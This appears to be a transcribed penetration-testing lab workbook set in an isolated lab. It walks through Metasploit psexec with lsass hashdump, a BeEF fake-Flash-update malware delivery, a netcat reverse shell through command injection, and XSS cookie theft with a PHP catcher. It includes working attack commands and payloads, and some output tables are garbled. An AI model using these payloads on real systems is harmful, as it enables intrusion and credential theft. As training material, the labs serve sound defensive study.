RPORT, range (TCP), no, service description

SERVICE\_DESCRIPTION, to to be used on target for pretty listing, no, the service display

SERVICE\_DISPLAY\_NAME, name, the service display name

SERVICE\_NAME, the service name, N/A

SHARE, connect to, can be an admin share (ADMIN$, C$...) or a normal read/write folder share

SMBDomain, the Windows domain to use for authentication, no, .

SMBPass, the specified username, no, the username to authenticate as

Payload options (windows/meterpreter/reverse\_tcp):

Name Current Setting Required? Description

—----------------------------------------------------------------------------------

EXITFUNC, thread, yes, exit technique - accepted: ‘ ‘, seh, thread, process, none

LHOST 192.168.171.4, yes, the listen address (an interface may be specified)

LPORT 4444, yes, the listen port

Exploit Target:

Id – 0

Name – Automatic

Here we see a list of variables associated with the psexec module, as well as those for the Meterpreter reverse\_tcp payload. Next we will configure those options.

**Configure Exploit Parameters**

In this lab you will exploit the Windows VM at 10.10.0.1. The target of the exploit is stored in the RHOSTS variable. Set that parameter, as shown here.

Msf6 exploit (windows/smb/psexec) > set RHOSTS 10.10.0.1

The psexec module needs credentials of a user in the administrators group on the target machine. It uses these credentials to remotely create a service, which it then uses to run the payload code from memory with SYSTEM privileges. Set the SMBUser and SMBPass variables to values associated with a user in the admin group of your Windows machine, as shown here.

Msf6 exploit (psexec) > set SMBUSER sec504

SMBUSER => sec504

Msf6 exploit (psexec) > set SMBPASS sec504

SMBPASS => sec504

*It’s worth noting that the SMBPass variable could be set to a value of the user’s LANMAN:NTHash instead of the user’s actual password. Metasploit supports pass-the-hash attacks for psexec against Windows, where we can authenticate as a user using the hash information (without the password).*

Next, set the LHOST variable, which tells the Meterpreter reverse\_tcp payload where to connect back to. We want it to connect to the Linux VM. Set the LHOST parameter, as shown here.

There is also an LPORT variable that we could define to identify a TCP port to connect back on. We leave it with the default of 4444 so that we can quickly spot this connection. A stealthy attacker may choose 443 to blend in with HTTPS activity. Finally, let’s review the options again to make sure we’ve set them all appropriately. Enter the show options command, as shown here.

Msf6 exploit (windows/smb/psexec) > show options

**Launch the Exploit**

With everything configured we can launch the attack to get Meterpreter loaded into the target machine’s memory and connect back to us:

Msf6 exploit(windows/smb/psexec) > exploit

[\*] Started reverse TCP handler on 10.10.75.1:4444

…

(4 more lines)

…

[+] Service start timed out, but OK if running a command or non-service executable…

[\*] Sending stage (175174 bytes) to 10.10.0.1

[\*] Meterpreter session 1 opened (10.10.75.1:4444 -> 10.10.0.1:1545) at 2021-01-31 12:22:45 +0000

Meterpreter >

Look carefully at the status messages from Metasploit. You can see that it authenticates to the target machine and uploads the stager. The stager is the reverse\_tcp part of the payload, which implements communication and the loading of the stage. The stage is Meterpreter itself. Finally, with the stager running on the target, it sends the stage (Meterpreter itself) and opens a session back to msfconsole, giving us the Meterpreter prompt. We now have Meterpreter access of the target machine: meterpreter >

Special Meterpreter commands we type at this prompt are executed by Meterpreter on the Windows target machine.

*If, as you proceed through this lab, your Meterpreter session closes or is dropped, type exploit to relaunch it.*

**Meterpreter at Session Management**

After you get a meterpreter > prompt, let’s look at how we can manage sessions with msfconsole. First, we take the Meterpreter session and put it in the background so that we are back at the msfconsole prompt using the background command, as shown here.

Meterpreter > background

[\*] Backgrounding session 1…

Msf6 exploit (windows/smb/psexec) >

Metasploit supports the concept of having multiple sessions with multiple target machines. We can get a list of all open sessions on exploited target boxes by running the sessions command, as shown here.

Active sessions

================

Id, Name, Type

Connection

— —- —------- Information

—------------- —------------------

1 meterpreter x86/windows NT AUTHORITY\SYSTEM @

SEC504STUDENT 10.10.75:1:4444 -> 10.10.1:1545 (10.10.0.1)

Each session has a *session number,* a small integer set that starts at 1 for the first session an instance of Metasploit opens. We can get back to our Meterpreter prompt and interact with the appropriate session by running the sessions command, specifying the session number (in this case, 1). Run the sessions command to interact with the Meterpreter session again, as shown here.

**Meterpreter Host Interrogation**

Now let’s get information about the host itself. Run the sysinfo command, as shown here.

Meterpreter > sysinfo

In this output, we can see the host’s name (Computer), the operating system, the CPU architecture, and the language pack installed. While the sysinfo command is valuable, we can collect additional information using the Windows built-in systeminfo command. Run this command using the Meterpeter execute command, as shown here.

* -i: the -i option allows you to interact with the process after creating it (to observe the output of the command)
* -f systeminfo: The -f option is used to specify the command to run

meterpreter > execute -if systeminfo

Process 4848 created.

Channel 1 created.

Host Name: SEC504STUDENT

OS Name: Microsoft Windows 10 Enterprise

OS Manufacturer: Microsoft Corporation

OS Configuration: Standalone Workstation

OS Build Type: Multiprocessor Free

Registered Owner: Windows User

Product ID: 00329-10186-30720-AA281

Original Install Date: 5/3/2022, 11:35:25 PM

System Boot Time: 6/20/2023, 11:23:59 AM

System Manufacturer: VMWare, Inc.

System Model: VMWare Virtual Platform

System Type: x64-based PC

Processor(s): 2 Processor(s) Installed.

In this example, we’ve launched the Windows systeminfo command with no additional arguments, interacting with it to obtain detailed Windows system information, such as the OS Name, product ID, install date, and more.

Next, let’s see what the current user ID is by running the getuid command, as shown here.

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

We used the psexec module, which relies on admin credentials to give us local SYSTEM privileges on the target.

**Meterpreter Process Interrogation**

We can obtain a list of running processes on the Windows victim with the ps command, as shown here.

We can also identify our Process ID with the getpid command, as shown here.

Meterpreter > getpid

Current pid: 2780

*Please write down this PID value! You will cross-reference it later in the lab.*

**Meterpreter Help**

The commands are grouped into *Core* commands, *Stdapi* commands (broken into subcategories like *File System Commands* and *Networking Commands*), and *Priv* (again, separated into *Password Database Commands* and *Timestamp Commands*)

**Dumping Hashes with Hashdump**

When Meterpreter runs with SYSTEM or admin privileges, we can use it to pull password hashes from the target. We can try to dump them from memory using the Meterpreter hashdump command:

meterpreter > hashdump

[-] priv\_passwd\_get\_sam\_hashes: Operation failed: The parameter is incorrect.

On many versions of Windows, this command fails because Microsoft made it more difficult to pull hashes from memory. However, since we have SYSTEM privileges, we can sidestep this Microsoft restriction. We have an additional option to evade the Windows 10 defenses, but first we have to look at the migrate feature.

**Process Migration**

Establishing a Meterpreter session using the psexec exploit involves injecting a PowerShell process on the target system. We can observe this by using getpid to identify the PID, then examine the output of ps to identify the process name in the *path* column, as shown here.

meterpreter > ps

PID Arch Session User

Path PPID Name

—--------------------------------------------------------------------------------------

—--------------------------------------------------------------------------------------

NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe

NT AUTHORITY\SYSTEM C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Meterpreter is not limited to using this process, however, and can migrate to different processes. This can be done to evade defender actions (such as killing an unrecognized process) or to obtain different system privileges.

For example, some Metasploit attacks require that your Meterpreter session have the same architecture as the native CPU on the system. In the ps output, we see that the powershell.exe process has an architecture of x86, even though this is an x64 system. Let’s fix this by migrating to the vmtoolsd.exe process (which has an x64) using the migrate command, as shown here.

Meterpreter > migrate -N vmtoolsd.exe

[\*] Migrating from 2780 to 3028…

[\*] Migration completed successfully.

*NOTE: Any experienced Metasploit user will tell you that if a Meterpreter session is going to fail, it will fail during the migrate command. If this command fails, run exit to leave the Meterpreter session. Run exploit again from the msf6 prompt, and run the migrate command again. In some cases, it may be necessary to choose a different process name (feel free to try migrating into VGAuthService.exe, openvpnserv.exe, or SearchIndexer.exe. If the migrate command continues to fail, it may be necessary to reboot your Windows VM.*

Run the sysinfo and getpid commands again here to examine the new session changes, noting the new Meterpreter platform identifier (x64/windows) and the new process ID:

meterpreter > sysinfo

Computer: SEC504STUDENT

OS: Windows 10 (10.0 Build 19044).

Architecture: x64

System Language: en\_US

Meterpreter: x64/windows

meterpreter > getpid

Current pid: 3028

Success!

**Process Migration for Privilege Escalation**

Previously, we saw that the hashdump command failed to produce valid hashes from the target system. This is due to increased protections on Windows systems making it harder for an attacker to obtain password hashes. However, there is one additional opportunity for an attacker: to leverage the permissions of the LSASS process. The Local Security Authority Subsystem Service (LSASS) is a Windows service that handles multiple security events and controls on the Windows platform. While attempting to run hashdump may fail from other processes due to a permission restriction, we can migrate into the LSASS process to bypass this defense mechanism. From your Meterpreter prompt, migrate to the lsass.exe process, as shown here.

Meterpreter > migrate -N lsass.exe

[\*] Migrating from 3028 to 616…

[\*] Migration completed successfully.

Next, run the hashdump command again.

meterpreter > hashdump

Administrator:500:aad3b435b514004eeaad3b435b51404ee:31d6cfe0d17ae931b73c59d7e0c089c0:::

In this output, the password hashes for the Administrator, DefaultAccount, and Guest accounts are all empty password hash values. This is because the accounts are disabled. Notice that the NTLM hash for the Sec504 user is a non-empty hash value (as is the Windows Defender Application Guard *WDAGUtiilityAccount* account). Success!

If multiple users had passwords on this system, we would obtain all of the password hashes. However, an attacker wouldn’t stop here. Next, we’ll look at techniques to run commands on the Windows victim and to establish additional access on the system.

**Analyzing the Host: Hayabusa**

Next, let’s look at the events that Windows records when the Metasploit psexec module is used against it. From your Windows VM, right-click on the PowerShell icon, then select *Run as Administrator* to open an administrator PowerShell session. From the PowerShell prompt, change to the C:\Tools\hayabusa directory, as shown here.

PS C:\WINDOWS\system32> cd C:\tools\hayabusa

PS C:\tools\hayabusa>

Next, run Hayabusa, specifying the local system logs for analysis, as shown here.

PS C:\tools\hayabusa> .\hayabusa csv-timeline -o metasploit-psexec.csv -1

…

Dates with the most total detections:

Critical: 2023-06-20 (1), high: 2023-06-20 (10), medium: 2023-06-20 (133), low: 2023-06-13 (1,578), informational: 2023-06-13 (1,340)

…

Saved file: metasploit-psexec.csv (5.2 MB)

Elapsed time: 00:00:06.061

Hayabusa detects several indicators of compromise that indicate an attack, though it incorrectly attributes the attack to Cobalt Strike (though this can be forgiven, the technique used by Metasploit is very similar to that used by one of the Cobalt Strike techniques).

From PowerShell, we can parse the CSV file to get a basic timeline, filtering the results to display only critical-risk and high-risk alerts. Use the Import-Csv command to read the Hayabusa CSV log file, using the Where-Object command in the pipeline to filter using -CIn (short for *contains, in*), as shown here.

PS C:\tools\hayabusa> Import-Csv -Path .\metasploit-psexec.csv | Where-Object -Property Level -Cin “crit”, “high” | Select-Object Timestamp, Level, RuleTitle

**Finishing Up**

When you are finished with the lab, exit Meterpreter, as shown here. You can exit msfconsole by running exit, as shown here. Hopefully, this lab helped to demystify some of the capabilities and features of Metasploit. This tool is a very important one for both defenders and attackers to know because it allows both to accurately replicate the attack style real adversaries utilize.

**Bonus (If Time Permits or Homework)**

**Examine DLL Information**

Repeat the lab exercise, examining the DLL changes with the Notepad process before and after the migrate command.

1. Start Notepad on Windows.
2. Establish a Meterpreter session using the psexec exploit (or reusing an existing session).
3. From Windows, open a PowerShell prompt.
4. Create a file with the list of DLLs open for the Notepad process: ps -name notepad - Module | select moduleName > notepad-dll-before.txt
5. From Meterpreter, migrate to the Notepad process: migrate -N notepad.exe
6. Return to PowerShell and create a new list of DLLs open for the Notepad process: ps -name notepad -Module | select moduleName > notepad-dll-after.txt
7. Compare the two files: Compare-Object -ReferenceObject (GetContent - Path .\notepad-dll-before.txt) -DifferenceObject (GetContent - Path .\notepad-dll-after.txt)

Your output should look similar to the following example:

PS C:\Users\Sec504> Compare-Object -ReferenceObject (GetContent - Path .\notepad-dll-before.txt) -DifferenceObject (GetContent - Path .\notepad-dll-after.txt)

InputObject SideIndicator

—--------------------------------------------------------------------

ws2\_32.DLL =>

Mswsock.dll =>

CRYPT32.dll =>

MSASN1.dll =>

WININET.dll =>

WINHTTP.dll =>

Ole32.dll =>

CRYPTSP.dll =>

Rsaenh.dll =>

SspiCli.dll =>

USERENV.dll =>

PSAPI.DLL =>

WINMM.dll =>

Winmmbase.dll =>

NETAPI32.dll =>

Wkscli.dll =>

Cscapi.dll =>

Here we see several additional DLLs that are loaded into the Notepad process following the Meterpreter migrate command. This output provides some insight into what we might comparably look for on our own systems. The DLLs listed here are not malicious, but they are abnormal for many Windows processes, giving us some insight into identifying the presence of an attacker using the Meterpreter C2.

**Additional Meterpreter Features**

Spend some time experimenting with the different features of Meterpreter. Some interesting modules you could try are webcam\_snap, record\_mic, or the keylogger.

**Examine Advanced Options**

Rerun the lab, but prior to running the exploit, try using the show advanced feature. You can modify many of the ways Metasploit behaves by altering the features exposed here.

**Articles**

How does process migration work in Meterpreter? <https://security.stackexchange.com/questions/90578/how-does-process-migration-work-in-meterpreter>

**Lab 4.2: BeEF for Browser Explotation**

BeEF, the Browser Exploitation Framework, is a great tool for attacking a victim’s browser and can be used to conduct client-side social engineering attacks that are very difficult for almost any user to detect.

**Try It Yourself**

Deploy a Metasploit payload using MsfVenom and deliver it to your Windows VM via a social engineering attack.

Port 3000: Bot controller, Port 8000: Fake Flash update server, 4444: Meterpreter reverse TCP

**Walkthrough - Overview**

In this lab exercise, you will use your Windows VM as the victim and the Slingshot Linux system as the attacker. The attacking system will start a *Meterpreter reverse TCP handler* listening on TCP port 4444 and a *fake Flash update server* listening on TCP port 8000. To gain remote access to the victim, the attacking platform will leverage a *bot controller* system for BeEF, listening on TCP port 3000.

**Creating and Hosting the Malware**

We will use Metasploit to create a Meterpreter payload in the form of a Windows executable. We will then use Python to create a web server that hosts the malicious executable payload file on our Linux machine. We will then use a browser on Windows to access the Linux web server, retrieving and executing the Meterpreter payload.

From the Slingshot Linux VM, open a terminal. Next, run the msfvenom tool to generate a Meterreter reverse\_tcp payload as a Windows EXE file. Because this is a reverse\_tcp connection, the payload needs to know which IP address and port to connect back to. Using the LHOST and LPORT parameters, specify the IP address of your Linux VM and the TCP port 4444, as shown. Save the payload with the benign name: FlashUpdate.exe in the /tmp directory.

*NOTE: All of these commands are a single line. Depending on your browser settings, it may wrap as multiple lines. Simply select all the bolded text for a command to copy and paste as a single entry.*

sec504@slingshot:~$ msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse\_tcp lhost=10.10.75.1 lport=4444 -f exe -o /tmp/FlashUpdate.exe

No encoder specified, outputting raw payload

Payload size: 354 bytes

Final size of exe file: 73802 bytes

Saved as: /tmp/FlashUpdate.exe

Next, change to the /tmp directory and confirm the presence of the FlashUpdate.exe file (ls -l):

Next, use python3 to start a HTTP web server listening on TCP port 8000, as shown here.

sec504@slingshot::/tmp$ python3 -m http.server

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) …

**Start the Metasploit Handler**

Next, open a new terminal window. From the new terminal, start the Metasploit msfconsole command. Configure Metasploit to wait for a connection from the victim Windows machine using the exploit/multi/handler module. Change the PAYLOAD parameter to windows/meterpreter/reverse\_tcp.

sec504@slingshot:~$ msfconsole -q

msf6 > use exploit/multi/handler

[\*] Using configured payload generic/shell\_reverse\_tcp

Msf6 exploit(multi/handler) > set PAYLOAD windows/meterpeter/reverse\_tcp

PAYLOAD => windows/meterpreter/reverse\_tcp

Msf6 exploit(multi/handler) > set LHOST 10.10.75.1

LHOST => 10.10.75.1

Msf6 exploit (multi/handler) > exploit

[\*] Started reverse TCP handler on 10.10.75.1:4444

**Start BeEF**

Open another terminal window. From the new terminal, start the BeEF process by running beef, as shown:

sec504@slingshot:~$ **beef**

With the attacker configuration updated, you will complete several steps as the victim using your Windows VM

**Browse from the Windows VM (Victim)**

Next, go back to your Windows system and visit the following URL: <http://10.10.75.1:3000/demos/thetofuartist/index.html> Once here, you will see a page selling… tofu. This page represents the way a compromised site would act. While it is not user-apparent, this page is making calls back to the attacker BeEF server running on your Slingshot VM at a routine interval. We are now going to go back to the Slingshot Linux VM and send malicious commands to this browser.

**Return to the Linux VM (Attacker)**

Return to the Slingshot Linux VM. Open the browser and visit the following URL: <http://10.10.75.1:3000/ui/panel>. This is the control panel for BeEF. This will allow us to control the victim browser into downloading our malicious file.

*The username is sec504 The password is sec504*

You will see 10.10.75.1 on the far left panel. Select the dropdown option for the 10.10.75.1 IP address. This will reveal the victim Windows system at 10.10.0.1. Click here to select the victim IP address.

In the list of tabs near the middle of the BeEF Control Panel view, click the *Commands* tab. Next, expand the *Social Engineering* group from the middle panel. This is the collection of social engineering attacks that BeEF supports. Once Social Engineering is open, select *Fake Flash Update*. This is the collection of social engineering attacks that BeEF supports. Once Social Engineering is open, select *Fake Flash Update.* This is the attack we will use for this lab.

**Configure and Launch the Attack**

We will need to make two changes to the options which will appear in the far-right panel. Please make your options match the options listed below.

* Image: http://10.10.75.1:3000/adobe/flash\_update.png
* Custom Payload URI: <http://10.10.75.1:8000/FlashUpdate.exe>

Here we are telling BeEF where to get the image and where to pull the malware for the user to download. When done, please select the Execute button in the lower right.

**Return to the Windows VM (Victim)**

Now, let’s go back to the Windows machine for the role of the victim. After a few moments, you should see the fake Flash update box. Please note, this will not fire immediately. The page is on a refresh, and the attacks are not instantaneous.

When you see the Flash update window, click *INSTALL*.

**Run the Update**

Once you select *INSTALL*, you will get an option to download and run a .exe file. It will be named FlashUpdate (with a possible number behind it). Please select the *Keep* option, then run the *FlashUpdate* program by selecting it at the bottom of the browser. If you are prompted with an error regarding Windows SmartScreen, click the Run button.

**Return to the Linux VM (Attacker)**

Return to the Slingshot Linux system. You will see a Meterpreter session active, giving you access to the victim system. Run the sysinfo command to verify your access, as shown here.

*Feel free to experiment with Meterpreter features on the victim with any remaining time in the lab exercise.*

**Cleanup**

After experimenting with the Meterpreter session to the victim, exit the session by running exit, as shown here. Next, exit the MSFConsole handler by running exit, as shown here.

Msf6 exploit (multi/handler) > exit

sec504@slingshot:~$

Finally, close the remaining terminal windows, terminating the Python web server process as well.

**Conclusion**

This lab demonstrates how straightforward it is to create a website with malware embedded in it. This attack and variations of this attack are often used as components in drive-by and watering hole attacks to take advantage of the trust relationship between a known website and a user. This attack also highlights the need for user awareness training and application execution control. Later in the course we’ll also investigate the means attackers will apply to evade endpoint detection systems intended to thwart this attack.

**Why This Lab is Important**

If you train users to do specific tasks, such as updating software when prompted to do so, attackers will use your training against you. To protect against this attack, you must teach users to do only updates on trusted networks, with appropriate network-based controls.

**Bonus (If Time Permits or Homework)**

Try some of the other BeEF modules. Play audio back to the victim system; see if you can cause Clippy to show up! (Hint: Clippy is in the Social Engineering section of the BeEF control panel.)

**Lab 4.3: Command Injection Attack**

**Brief Intro**

In this lab we will start to explore the Rook Aviary website. Rook Aviary, as a provider of analog communication services, is an acquisition target for Falsimentis Corp. You have been asked to complete a thorough evaluation of the Rook Aviary website as part of the due diligence evaluation prior to acquisition.

**Try It Yourself**

Start the target website by running goweblab from the terminal. Evaluate the Rook Aviary website at <http://www.rookaviary.com>, conducting a manual assessment to identify a command injection vulnerability. After identifying the vulnerable page, craft and deliver a payload to obtain a reverse TCP shell from the server to a local Netcat listener.

**Walkthrough - Start The Server**

Start the Rook Aviary website Docker container by running the goweblab script, as shown here.

sec504@slingshot:~$ goweblab

Starting Docker service …. Done.

Starting container instance for [www.rookaviary.com](http://www.rookaviary.com)

WARNING: Your kernel does not support swap limit capabilities or the cgroup is not mounted. Memory limited without swap.

2021-06-05 19:20:12,731 INFO Set uid to user 0 succeeded

2021-06-05 19:20:12,735 INFO supervsiord started with pid 1

…

**Open Browser**

Next, open the Firefox browser. Minimize the root access terminal window to see the Slingshot desktop. Double-click on the Firefox icon to launch Firefox.

**Examine Website Functions**

The first step in any web app assessment is to become familiar with the services offered by the website. Spend a minute and become familiar with the website functionality. Identify the pages associated with the following functions:

* Feedback Submission
* Feedback Review
* Directory Services
* System Connectivity Checker
* Website Search Function
* Website Administrative Access Page

**Submit a Connectivity Test**

First, we’ll examine the System Connectivity Checker. Click the Connectivity Checker link in the website menu options. You will see a form field, as shown here. This website feature expects the user to enter an IP address to test for connectivity. Enter the IP address 127.0.0.1, then click Submit. The system will accept this input and return a response accordingly.

This is a classic example of a web application accepting input and using the input as an argument to run a local command and return the response (you will see very similar examples in many home wireless routers and other IoT devices today). We could imagine the back-end source code to look something like this example:

system(“ping -c 1 $USERINPUT\_IPADDRESS”);

**Experiment with System Input**

Since we observe an opportunity to submit system input that runs a command (ping), we want to experiment with system input. Repeat the prior test, this time specifying an input value of 127.0.0.1 -h, as shown here. Click the Submit button. The web server will accept the command and return output matching the example shown here. Instead of the normal ping response, we see ping: -h: Try again. This is the error returned when ping has an unexpected argument following an IP address. This is a possible indicator of a command injection vulnerability, since we are able to manipulate the ping utility into processing unexpected input. Try to submit another request; this time enter just the -h argument, with no IP address. Click the submit button. The web server will return a response that matches the following output.

<..SNIPPED..> [ping][-usage]

Here we get help information, giving us another indicator that the system processes out input without checking it for validity. Since the input we supply is sent unchecked to the ping utility, this system is likely vulnerable to a command injection vulnerability. Next we’ll explore exploitation options to confirm that the vulnerability can be exploited.

**Exploit Command Injection Attempt 1**

To exploit a command injection flaw, we specify one or more commands to run on the local operating system. Enter the *127.0.0.1* IP address again, this time adding ; ls to separate the IP address and run a 2nd command following the semicolon as shown here.

Address to ping: 127.0.0.1 ; ls

Click the Submit button. The web server will return a response similar to the example shown here.

“Invalid input detected”

While we have identified a command injection vulnerability, the system has a defense built in, preventing us from adding additional commands separated by the semicolon. Fortunately, additional reserved characters are also available to chain together multiple commands without using the semicolon. Experiment with the following characters to successfully run the ls command:

* || ls
* && ls

**Exploit Command Injection Attempt 2**

Both of the samples in the previous section (|| ls and && ls) could be used to achieve successful command injection. However, in some cases it may be necessary to manipulate the input on the left side of the shell separators (i.e., the IP address, in this case).

-h || ls - The || shell separator runs only if the prior command returns an error, using -h instead of an IP address produces an error so the next command is run.

127.0.0.1 && ls - The && shell separator runs only if the prior command returns success; using a valid IP address makes the ping command succeed so the next command is run.

These commands are reproduced with the output they produce in the examples shown here.

Address to ping: -h || ls - </Submit>

418.php

[admin-click.py](http://admin-click.py)

Admin-endpoint.php

Admin.php

brew\_coffee

Connection\_checker.php

Email\_search.php

Font-awesome.css

Fonts

Footer.php

Header.php

Index.php

PING 127.0.0.1 (127.0.0.1) 56 (84) bytes of data. 64 bytes from 127.0.0.1: icmp\_seq = 1 ttl=64 time=0.082 ms

–127.0.0.1 ping statistics–

1 packets transmitted, 1 received, 0% packet loss, time 0ms

Rtt min/avg/max/mdev = 0.082/0.082/0.0082/0.000 ms

418.php

[admin-click.py](http://admin-click.py)

Admin-endpoint.php

Admin.php

brew\_coffee

Connection\_checker.php

Both syntaxes work equally well, though the | | option will also suppress the ping output from the injected command response.

**Reverse TCP Shell Challenge**

Next, use the command injection access to obtain a reverse TCP shell against the server, using Netcat. Establish a Netcat listener, then use the command injection flaw to return a shell back to the listener on the 10.10.75.1 IP address. First, open a new terminal window and start a TCP port listener. The port number you choose is arbitrary. In the example is arbitrary. In the example below I use port number 11111.

sec504@slingshot:~$ nc -l -p 11111 -vvv

Listening on [any] 11111 …

Next, inject a Netcat reverse sTCP connection to your Slingshot Linux VM at 10.10.75.1:11111 with the 127.0.0.1 && nc -e /bin/sh 10.10.75.1 11111 input, as shown here. You won’t see a response in the webpage immediately since it is waiting for the injected command to complete execution. Return to the terminal window where you started the Netcat listener and you will see a connection, similar to the example shown here.

You won’t see a response in the webpage immediately since it is waiting for the injected command to complete execution. Return to the terminal window where you started the Netcat listener and you will see a connection, similar to the example shown here.

Listening on [any] 11111 …

Connect to [10.10.75.1] from [www.rookaviary.com](http://www.rookaviary.com) [172.30.0.45] 38544

*If you don’t receive a connection back from* [*www.rookaviary.com*](http://www.rookaviary.com)*, make sure your Slingshot Linux network interface is set to the lab IP address 10.10.75.1 by running connect - lab, then submit the attack again.*

You won’t receive a shell prompt from the vulnerable server, but you can execute commands. Run the pwd, id, and -a commands, as shown here.

Listening on [any] 11111 ….

Connect to [10.10.75.1] from [www.rookaviary.com](http://www.rookaviary.com) [172.30.0.45] 38544

Pwd

/var/www/html

id

Uid = 65534 (nobody) gid=65534(nobody) groups=65534(nobody)

Uname -a

Linux 1c94fdc0d6c0 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86\_64 Linux

Although you don’t have any additional privilege than you had with the web command injection interface, the reverse TCP connect-back session is a more convenient mechanism for entering commands against the vulnerable site.

**Cleanup**

When you are finished entering commands, press CTRL + C to close the Netcat session. Next, return to the window where you ran goweblab and press CTRL + C to close the server container.

**Additional Resources**

* DEV522: Defending Web Applications Security Essentials
* SEC542: Web App Penetration Testing and Ethical Hacking
* SEC642: Advanced Web App Penetration Testing, Ethical Hacking, and Exploitation
* *The Tangled Web: A Guide to Securing Modern Web Applications* by Michal Zalewski
* *The Web Application Hacker’s Handbook: Discovering and Exploiting Security Flaws* by Dafyd Stuttard and Marcus Pinto
* OWASP Testing Project (<https://www.owasp.org/index.php/OWASP_Testing_Project>)

**Lab 4.4: Cross-Site Scripting Attack**

In this lab we will continue to explore the Rook Aviary website as part of the due diligence evaluation prior to acquisition by Falsimentis, Corp. This time we will identify and exploit vulnerabilities relating to a Cross-Site Scripting (XSS) attack.

**Try It Yourself**

Start the target website by running goweblab from the terminal. Evaluate the Rook Aviary website at <http://www.rookaviary.com>, conducting a manual assessment to identify an XSS vulnerability. After identifying the vulnerable page, craft and deliver a custom JavaScript payload to retrieve the authentication session cookie from an administrator (emulated in this lab using a script).

**Submit a Search Inquiry**

First, we’ll examine the Search page submission feature. Navigate to the Search page by clicking the *Search* link in the website menu options. You will see the Search form field, as shown here. Enter a search term, such as the string *contact*, then click the Submit button. You will see the search response *No results for contact*, as shown here. At first glance, this may seem inconsequential: there are no results returned for the submitted search term (*contact*). However, what is interesting is that the website search page returns the string we searched for as part of the search results (*No results for contact*). However, what is interesting is that the website search page returns the string we searched for as part of the search result *(No results for contact)*.

*Any time the server returns content that includes part of the search term, it should be evaluated for an XSS vulnerability.*

**Submit a Crafted Search Inquiry**

Enter another search term, this time using the string <hr>, as shown here.

*<hr> is the HTML tag for horizontal rule.*

Click the *Submit* button to submit this search term. Examine the return results, as shown here. Notice how the search response no longer indicates what the search term was, stopping short at *No results for*. Also, you will see a dark horizontal line in the web page.

*The dark horizontal line is the <hr> search term. Instead of being filtered by the website, it is rendered in the browser. This is evidence of an XSS vulnerable site.*

**Examine the Page Source**

To confirm that the server is vulnerable to XSS, we should investigate the page source. Right-click on the page and select *View Page Source*, as shown here.

At line 48, you will see the search page text *No results for* followed by the <hr> search term. The web developer who created the page is not filtering the search term output, which causes an XSS vulnerability. Looking at the source, we see the actual HTML <hr> search term, confirming the presence of the vulnerability on the site.

**Close the Page Source Tab**

Close the browser tab for the view-source URL, but keep your browser open to continue with this lab.

**Notes on Exploiting the Search XSS**

So far we’ve identified an XSS vulnerability in the Rook Aviary Services *Search* page. This XSS vulnerability is known as a *reflected XSS*, where the site will render content delivered from a crafted URL. To exploit a reflected XSS, an attacker would make a malicious URL and deliver it to the victim in an email, an SMS text message, an app direct message, or through some other social engineering technique. It is a little more difficult to exploit and requires additional steps to make use of the vulnerability. However, we’re not done with the Rook Aviary Services site yet! Next, we’ll take a look at an additional XSS vulnerability known as a *stored XSS*.

**Submit Feedback**

Navigate to the *Leave Feedback* page by clicking the menu option at the top of the browser window. Enter the same <hr> string in the *Comment* field, as shown here.

Click *Submit* to send the feedback. You will see the response message *New record created successfully*.

**Examine Feedback**

The Rook Aviary Services website includes functionality to review feedback submitted as well. Examine the feedback sent to the site by clicking the *View Feedback* page at the top of the browser. There isn’t much content available on the site for feedback (other than any feedback you submitted previously). However, you should see the horizontal rule rendered in the browser, as shown here. Like the *Search* page, the *View Feedback* is not filtering output, allowing the attacker to submit arbitrary content, revealing the *stored XSS vulnerability*.

*The View Feedback page is considered a stored XSS because the content is stored and delivered from the server. Unlike the reflected XSS vulnerability we saw in the Search page earlier, the attacker doesn’t have to deliver a malicious URL to the victim. Any user who visits the View Feedback site will render the attacker’s content, creating a devastating attack opportunity.*

**Exploiting XSS - Overview**

Now you need to leverage this vulnerability and use it to attack and steal a session cookie. This will require several steps, summarized here:

* Open a cookie catcher web process to catch the connection from the victim user
* Craft a malicious URL
* Submit the malicious URL to the victim

Next we’ll complete each of these steps to exploit the victim.

*For this lab, the victim is an automated process we have devised for the purposes of illustrating the technique for exploiting an XSS vulnerability. In practice, the victim would be a real user that visits the View Feedback page on the website.*

**Exploiting XSS - Prepare Listener**

Minimize the Firefox browser and open another terminal window. As a non-root user, change to the ~/labs/cookiecatcher directory, as shown here.

This lab directory has a PHP script that will record any cookie content received in JSON format to a file called cookies.log. Display the contents of the index.php script in the cookiecatcher directory, as shown here.

sec504@slingshot:~/labs/cookiecatcher$ cat index.php

<html>

<?php file\_put\_contents(“cookies.log”, json\_encode(array(“GET” => $\_GET, “POST” => $\_POST, “headers” => getallheaders())).”\n”, FILE\_APPEND); ?></html>

This PHP script uses the file\_put\_contents() function to write all of the data supplied by the victim in a GET or POST request ($\_GET or $\_POST) to the cookies.log file, as well as any header information sent by the victim browser. Start the PHP web server, listening on port 2222, as shown here.

sec504@slingshot:~$ php -S 0.0.0.0:2222

**Exploiting XSS - Enter Malicious URL**

<script> document.location=’http://10.10.75.1:2222/?’ + document.cookie; </script>

This script tells any user’s browser that views the comments to submit the cookie to 10.10.75.1 (your Linux attacking machine). Enter this script exactly as it is here in the notes.

*IMPORTANT NOTE: This line you type has a + in it just before document.cookie to concatenate the cookie value to the end of the URL. Without the + the Javascript is syntactically invalid.*

After double-checking your syntax in the *Comment* field, *click* Submit.

*If you have trouble getting this JavaScript attack code just right, you can copy and paste from the electronic lab workbook. If you are completing the lab exercise steps using the printed workbook, you can copy the XSS attack JavaScript from the Slingshot Linux ~/labs/quick/*[*xss.js*](http://xss.js) *file.*

**Exploiting XSS - Examine Cookie Catcher**

Next, return to the terminal where your cookie catcher web server is running. Inspect the content delivered by the victim, as shown here.

Document root is /home/sec504/labs/cookiecatcher

Press Ctrl-C to quit.

[Sun Feb 23 11:59:04 2020] 10.10.75.1:59052 [200]: /? authtoken=77ba9cd915c8e359d9733edcfe9c61e5aca92afb

